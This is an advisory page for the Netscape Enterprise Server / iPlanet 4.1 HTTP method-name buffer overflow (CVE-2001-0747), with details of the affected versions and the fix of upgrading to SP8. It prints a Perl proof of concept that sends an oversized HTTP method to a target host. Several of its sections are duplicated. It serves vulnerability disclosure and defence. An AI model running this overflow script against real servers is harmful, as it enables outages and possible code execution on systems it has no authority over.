Netscape Enterprise Server HTTP Method Name Buffer Overflow Vulnerability
BID:6792
Info
Netscape Enterprise Server HTTP Method Name Buffer Overflow Vulnerability
| Bugtraq ID: | 6792 |
| Class: | Boundary Condition Error |
| CVE: |
CVE-2001-0747 |
| Remote: | Yes |
| Local: | No |
| Published: | May 19 2001 12:00AM |
| Updated: | Jul 11 2009 08:06PM |
| Credit: | Discovery of this vulnerability has been credited to: Robert Cardona <[email protected]> |
| Vulnerable: |
Netscape Enterprise Server 4.1 SP7 Netscape Enterprise Server 4.1 SP6 Netscape Enterprise Server 4.1 SP5 Netscape Enterprise Server 4.1 SP4 Netscape Enterprise Server 4.1 SP3 iPlanet Web Server 4.1 SP7 iPlanet Web Server 4.1 SP6 iPlanet Web Server 4.1 SP5 iPlanet Web Server 4.1 SP4 iPlanet Web Server 4.1 SP3 |
| Not Vulnerable: |
Netscape Enterprise Server 4.1 SP8 |
Discussion
Netscape Enterprise Server HTTP Method Name Buffer Overflow Vulnerability
It has been reported that iPlanet Web Server and Netscape Enterprise Server are prone to a remotely exploitable buffer overflow condition. This is due to insufficient bounds checking when handling HTTP requests.
This condition is reportedly triggered when an invalid HTTP 'method name' or URI request is handled by the vulnerable server. It is possible for remote attackers to corrupt sensitive regions of memory with attacker-supplied values, possibly resulting in execution of arbitrary code.
Code execution will occur in the security context of the vulnerable web server process.
It has been reported that iPlanet Web Server and Netscape Enterprise Server are prone to a remotely exploitable buffer overflow condition. This is due to insufficient bounds checking when handling HTTP requests.
This condition is reportedly triggered when an invalid HTTP 'method name' or URI request is handled by the vulnerable server. It is possible for remote attackers to corrupt sensitive regions of memory with attacker-supplied values, possibly resulting in execution of arbitrary code.
Code execution will occur in the security context of the vulnerable web server process.
Exploit / POC
Netscape Enterprise Server HTTP Method Name Buffer Overflow Vulnerability
The following proof of concept code was supplied by Robert Cardona <[email protected]>:
#!/usr/bin/perl
use IO::Socket;
if (@ARGV < 2) {
print "Usage: host port\n";
exit;
}
$overflow = "A" x $4022;
&connect;
sleep(15);
&connect;
exit;
################################################
sub connect() {
$sock= IO::Socket::INET->new(Proto=>"TCP",
PeerAddr=>$ARGV[0],
PeerPort=>"$ARGV[1]",)
or die "Cant connect to $ARGV[0]: $!\n";
$sock->autoflush(1);
print $sock "$overflow /index.html HTTP/1.0\n\n";
$response=<$sock>;
print "$response";
while(<$sock>){
print "$_\n";
}
close $sock;
}
The following proof of concept code was supplied by Robert Cardona <[email protected]>:
#!/usr/bin/perl
use IO::Socket;
if (@ARGV < 2) {
print "Usage: host port\n";
exit;
}
$overflow = "A" x $4022;
&connect;
sleep(15);
&connect;
exit;
################################################
sub connect() {
$sock= IO::Socket::INET->new(Proto=>"TCP",
PeerAddr=>$ARGV[0],
PeerPort=>"$ARGV[1]",)
or die "Cant connect to $ARGV[0]: $!\n";
$sock->autoflush(1);
print $sock "$overflow /index.html HTTP/1.0\n\n";
$response=<$sock>;
print "$response";
while(<$sock>){
print "$_\n";
}
close $sock;
}
Solution / Fix
Netscape Enterprise Server HTTP Method Name Buffer Overflow Vulnerability
Solution:
The vendor has advised, to resolve this vulnerability, that users upgrade to service pack 8 or later.
Solution:
The vendor has advised, to resolve this vulnerability, that users upgrade to service pack 8 or later.
References
Netscape Enterprise Server HTTP Method Name Buffer Overflow Vulnerability
References:
References:
- CAN-2001-0747 (CVE)
- Netscape Enterprise Server 4 Method and URI overflow (Robert Cardona
) - netscape-enterprise-http-method-bo (7320) (ISS)